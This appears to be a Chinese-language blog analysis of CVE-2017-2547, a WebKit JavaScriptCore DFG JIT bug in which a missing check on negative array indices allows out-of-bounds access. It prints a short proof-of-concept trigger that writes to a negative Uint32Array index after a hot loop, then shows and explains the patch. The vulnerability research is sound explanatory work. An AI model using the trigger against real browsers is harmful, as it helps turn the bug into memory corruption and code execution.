CVE-2017-2547 分析

CVE-2017-2547 分析


jit bug

缺少边界检查导致的越界读.

0x00 : PoC

loki的poc

1
2
3
4
5
6
7
8
9
10
function f() {
let arr = new Uint32Array(10);
for (let i = 0; i < 0x100000; i++) {
parseInt();
}
arr[8] = 1;
arr[-0x12345678] = 2;
}

f();

Tencent Team Sniper的poc

3.5448480588962e-310 就是 0x414141414140

0x01 : 前置知识

DFG JIT :

1
DFG JIT 的使用前提是函数至少呗调用60次,或者循环执行至少1000次,或者2者同权值组合。

0x02 : 分析

问题发生在DFG JIT中,访问数组的时候因为缺少必要的边界检查,导致越界访问,当然这个洞可以转化成读/写内存,然后导致rce。

直接看代码:
git show f2476d46820b744450133f6b00a85e5265db1915

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
     RangeKind m_kind;
@@ -249,7 +258,13 @@ private:
Node* maxNode;

if (!data.m_key.m_source) {
- minNode = 0;
+ // data.m_key.m_source being null means that we're comparing against int32 constants (see rangeKeyAndAddend()).
+ // Since CheckInBounds does an unsigned comparison, if the minBound >= 0, it is also covered by the
+ // maxBound comparison. However, if minBound < 0, then CheckInBounds should always fail its speculation check.
+ // We'll force an OSR exit in that case.
+ minNode = nullptr;
+ if (range.m_minBound < 0)
+ m_insertionSet.insertNode(nodeIndex, SpecNone, ForceOSRExit, node->origin);
maxNode = m_insertionSet.insertConstant(
nodeIndex, maxOrigin, jsNumber(range.m_maxBound));
} else {
(END)

这里看到的逻辑太少,直接去源码里找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case ArrayBounds: {
Node* minNode;
Node* maxNode;

if (!data.m_key.m_source) {
// data.m_key.m_source being null means that we're comparing against int32 constants (see rangeKeyAndAddend()).
// Since CheckInBounds does an unsigned comparison, if the minBound >= 0, it is also covered by the
// maxBound comparison. However, if minBound < 0, then CheckInBounds should always fail its speculation check.
// We'll force an OSR exit in that case.
minNode = nullptr;
if (range.m_minBound < 0)
m_insertionSet.insertNode(nodeIndex, SpecNone, ForceOSRExit, node->origin);
maxNode = m_insertionSet.insertConstant(
nodeIndex, maxOrigin, jsNumber(range.m_maxBound));
} else {
minNode = insertAdd(
nodeIndex, minOrigin, data.m_key.m_source, range.m_minBound,
Arith::Unchecked);
maxNode = insertAdd(
nodeIndex, maxOrigin, data.m_key.m_source, range.m_maxBound,
Arith::Unchecked);
}
....

这里是为了确定要访问的数组的边界,每次访问确定最大和最小值,为了后面消除冗余节点。(比如,多次访问这个array的时候,访问了10,又访问了20,那么代码做检查的时候肯定只会检测是不是大于20,而不会再检查是否大于10)。
在未patch的时候,边界检查的时Array的最小值是否是负数是没有做检测的,按照原来的逻辑:

如果如果min给个负数,那么后面的边界检查只有对max值的检查,也就是说这里可以给一个负的下标,从而造成越界访问。

那么PoC就很容易看懂了, 让js代码多次执行,make hot进入DFG JIT的优化流程,在访问数组时数组下标给一个负数,由于没有做边界检查,所以会导致越界读。

0x03 : Patch

Patch代码的话,也很简单,增加了min是否是负数的检测,是的话就退出DFG优化,回退到更低一层的优化,去做更多的检查 :)

0x04 : Reference

DECONSTRUCTING A WINNING WEBKIT PWN2OWN ENTRY

source code

JavascriptCore四层结构

js-vuln-db